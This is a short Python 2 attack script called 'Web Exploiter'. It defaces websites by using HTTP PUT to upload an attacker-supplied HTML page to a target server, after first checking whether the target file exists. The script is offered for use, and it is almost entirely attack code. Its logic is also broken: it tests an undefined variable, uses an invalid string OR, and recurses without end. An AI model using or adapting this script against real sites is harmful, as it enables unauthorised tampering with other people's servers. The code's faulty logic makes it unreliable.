#!/usr/bin/python

import requests
import string
import random
import sys
import os

os.system("clear")
print("""
__      __   _      ___          _     _ _
\ \    / /__| |__  | __|_ ___ __| |___(_) |_ ___ _ _
 \ \/\/ / -_) '_ \ | _|\ \ / '_ \ / _ \ |  _/ -_) '_|
  \_/\_/\___|_.__/ |___/_\_\ .__/_\___/_|\__\___|_|
                           |_|
  +-+-+-+-+ +-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+-+-+
  |T|o|o|l| |N|a|m|e|:| |W|e|b| |E|x|p|l|o|i|t|e|r|
  +-+-+-+-+ +-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+-+-+
""")
def exploit():
  sc = ''
  with open(sys.argv[2], 'rb') as f:
      deface = f.read()
  script = deface
  host = sys.argv[1]
  if not host.startswith('http'):
    host = 'http://' + host
  name = '/'+sys.argv[2]


  print("[*] UPLOAD FILENAME : %s") % (sys.argv[2])
  print("[*] UPLOADING %d BYTES, SCRIPT") % len(script)

  r = requests.request('put', host + name, data=script, headers={'Content-Type':'application/octet-stream'})

  if r.status_code < 200 or r.status_code >= 300:
    print("[!] UPLOAD FAILED . . .")
    sys.exit(1)
  else:
    print("[+] FILE UPLOADED . . .")
    print("[+] PATH : "+host + name)


def ProjectorBUg():
 print("""
 ################################
""")
 print("[*] FILE TARGET : "+sys.argv[1]+"/"+sys.argv[2])
 r = requests.get(sys.argv[1] +"/"+ sys.argv[2])
 if r.status_code == requests.codes.ok:
  print("[*] THE FILE IS HIDDEN WITH THE TARGET. . . .")
  rizk = raw_input("[!] REPLACE TARGET FILE? [Y/n]: ")
  if sudo == "Y" | "y":
   exploit()
  else:
   print("[!] QUITING TOOL . . .")
   sys.exit()
 else:
   print("[*] FILE TARGET . . .")
   print("[*] PROCESSING UPLOAD SCRIPT . . .")
   ProjectorBUg()


if __name__ == '__main__':
  if len(sys.argv) != 3:
    print("\n[*] USAGE: python2 "+sys.argv[0]+" <http://target.com> <deface_page.html>\n")
    sys.exit(0)
  else:
    ProjectorBUg()
